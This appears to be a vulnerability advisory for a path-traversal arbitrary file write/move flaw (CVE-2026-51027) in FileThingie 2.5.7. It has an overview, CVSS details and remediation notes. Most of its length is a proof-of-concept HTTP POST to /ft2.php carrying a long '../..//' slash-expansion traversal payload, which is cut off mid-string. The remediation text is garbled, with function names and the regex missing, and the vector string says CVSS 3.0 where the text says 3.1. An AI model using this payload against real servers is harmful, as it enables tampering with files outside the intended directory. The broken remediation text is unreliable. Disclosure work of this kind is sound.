FileThingie 2.5.7 Path Traversal Arbitrary File Write via Slash Expansion (CVE-2026-51027)

Vulnerability Overview CVE-2026-51027 is a vulnerability in the FileThingie application, specifically involving arbitrary file write/move via "slash expansion" (also known as directory traversal through redundant slashes). This vulnerability allows authenticated, low-privilege users to bypass security checks by manipulating variables and operating system-level path normalization, enabling the movement of files outside of the designated root directory. Affected Scope Affected Product: FileThingie Version: 2.5.7 Vendor: Andreas Haugstrup Pedersen CVSS v3.1 Score: 9.9 (Critical) CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H Remediation 1. Discard Character Counting: Using to verify directory depth is fundamentally flawed because it relies on string syntax rather than the physical reality of the file system. 2. Path Normalization: All path validation should utilize PHP's function. This function strictly resolves all symbolic links, , and redundant characters, returning an absolute, normalized path. 3. Sanitize Slashes: During the lifecycle, use a regular expression (e.g., ) to strip redundant consecutive slashes from user input. POC Code Exploit Code ```php POST /ft2.php HTTP/1.1 Host: target.com Cookie: PHPSESSID= Content-Type: application/x-www-form-urlencoded newvalue=../..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//.

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FileThingie 2.5.7 Path Traversal Arbitrary File Write via Slash Expansion (CVE-2026-51027)

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